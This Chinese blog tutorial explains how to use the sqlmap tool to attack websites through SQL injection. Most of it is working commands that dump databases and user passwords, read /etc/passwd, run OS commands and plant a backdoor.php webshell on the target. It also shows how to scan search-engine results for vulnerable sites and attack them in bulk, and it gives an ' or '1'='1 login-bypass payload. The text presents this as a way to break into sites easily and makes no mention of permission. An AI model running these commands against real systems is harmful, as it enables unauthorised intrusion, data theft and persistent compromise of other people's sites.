Update avaliable. Click RELOAD to update.
目录

sql注入工具sqlmap的使用详解

1. 背景

sqlmap是python语言实现的sql注入工具,它使用简单,功能强大。不仅仅能简单的获取目标用户数据库信息,也可根据不同操作系统渗透上传webshell。sqlmap已经是metasploit中标准的sql注入工具。

sql注入问题是老深长谈的安全问题了,直至今日仍居oswap10大安全问题之首。sql的注入大多存在于php和asp的web应用中,java由于有preparement代替statement,所以现在已经很少出现了。时至今日,在google中按google dock的条件搜索,仍不乏很多站点的sql注入漏洞,可以轻而易举的使用sql注入的工具攻破站点。

2. 前提

找到目标注入点,使用”单引号“测试URL地址是否存在注入漏洞,判别标准看结果页面是否存在异常、错误或者空白,这些反映都能直接体现出注入点是否可用。

源地址URL://www.site.com/section.php?id=51 注入点URL://www.site.com/section.php?id=51’

3. 基本使用

下面方法中能正确获取目标系统数据库所有信息、包含操作系统识别、服务识别以及数据库表中的数据。获取站点登陆用户名及其密码,进行后台入口扫描登陆等操作。

# 检查参数是否可以注入,识别操作系统及数据库版本
sqlmap -u //www.site.com/section.php?id=51

# 识别指纹信息
sqlmap -u //www.site.com/section.php?id=51 -b

# 枚举数据库
sqlmap -u //www.sitemap.com/section.php?id=51 --dbs

# 枚举指定数据库中表
sqlmap -u //www.site.com/section.php?id=51 --tables -D [数据库名称]

# 枚举表中的列
sqlmap -u //www.site.com/section.php?id=51 --columns -D [数据库名称] -T [表名]

# 获取表中数据
sqlmap -u //www.site.com/section.php?id=51 --dump -D [数据库名称] -T [表名]
# 指定列名枚举表中数据
sqlmap.py -u //www.site.com/section.php?id=51 --dump -D [数据库名称] -T [表名] -C [列名1,列名2,列名3]

# 运行sql
sqlmap -u //www.site.com/section.php?id=51 --sql-query="select now();"

# 枚举用户列表和角色
sqlmap -u //www.site.com/section.php?id=51 --users --passwords --privileges --roles --threads=10

4. 高级使用

读取系统服务器本地文件、执行系统服务器shell命令、上传自己的webshell,根据不同操作系统会有不同的命令使用方法。

# 判别当前数据库用户是否具有dba权限
sqlmap -u //www.site.com/section.php?id=51 --current-user --is-dba --current-db --hostname --threads=10

# 若是dba,开启上传漏洞,可以上传自己的上传webshell
sqlmap -u //www.site.com/section.php?id=51 --os-cmd -v 1

# 读取用户密码进行hash破解
sqlmap -u //www.site.com/section.php?id=51 --password -v 1

# 读取系统文件
sqlmap -u //www.site.com/section.php?id=51 --file-read=/etc/passwd --threads=10

# 上传文件
sqlmap -u //www.site.com/section.php?id=51 --file-write /root/backdoor.php \
    --file-dest=/var/www/html/backdoor.php

# 执行系统命令
sqlmap -u //www.site.com/section.php?id=51 --os-cmd id -v 1

5. 撒网捕鱼

这属于撒网捕鱼,通过搜索引擎批量获取存在sql注入的站点进行渗透操作

sqlmap -g "inurl:\"php?id=\"" --random-agent -f --batch --answer="extending=N,follow=N,keep=N,exploit=n"

6. 注入问题

出现”testing connection to the target url”的错误?

可以尝试随机使用user-agent的方式访问,–random-agent,模拟chrome或者firefox的请求方式。

碰到rest请求的sql注入应该怎么做?

如://www.site.com/class_name/method/43/80,此时sqlmap不知道注入点在哪里,你可以使用*号指定注入点,如://www.site.com/class_name/method/43*/80

post注入点使用–data操作?

对于登陆类型的post表单,sqlmap的语法会有所不同,//www.site.com/form.php,//www.site.com/form_submit.php 注入点是//www.site.com/form_submit.php,另外需要找到表单中的参数名称,可以使用浏览器的dom查看。比如:参数名称是username sqlmap -u //www.site.com/form_submit.php –data=”username=avc” data选项告诉sqlmap是一个post请求,现在如果你足够幸运,sqlmap会很快注入成功,但大多数情况并不会这么顺利。 如果第一个sqlmap报告不可注入,可以尝试使用魔数作为参数的值,如 sqlmap -u //www.site.com/form_submit.php –data=”username=’ or ‘1’=’1”

之前渗透的结果和注入点如何找回?

操作过注入点及dump出的数据结果将会保存在用户目录下的”.sqlmap/output”目录中。

版权所有,本作品采用知识共享署名-非商业性使用 3.0 未本地化版本许可协议进行许可。转载请注明出处:https://www.wangjun.dev//2016/05/how-to-use-sqlmap/

Related posts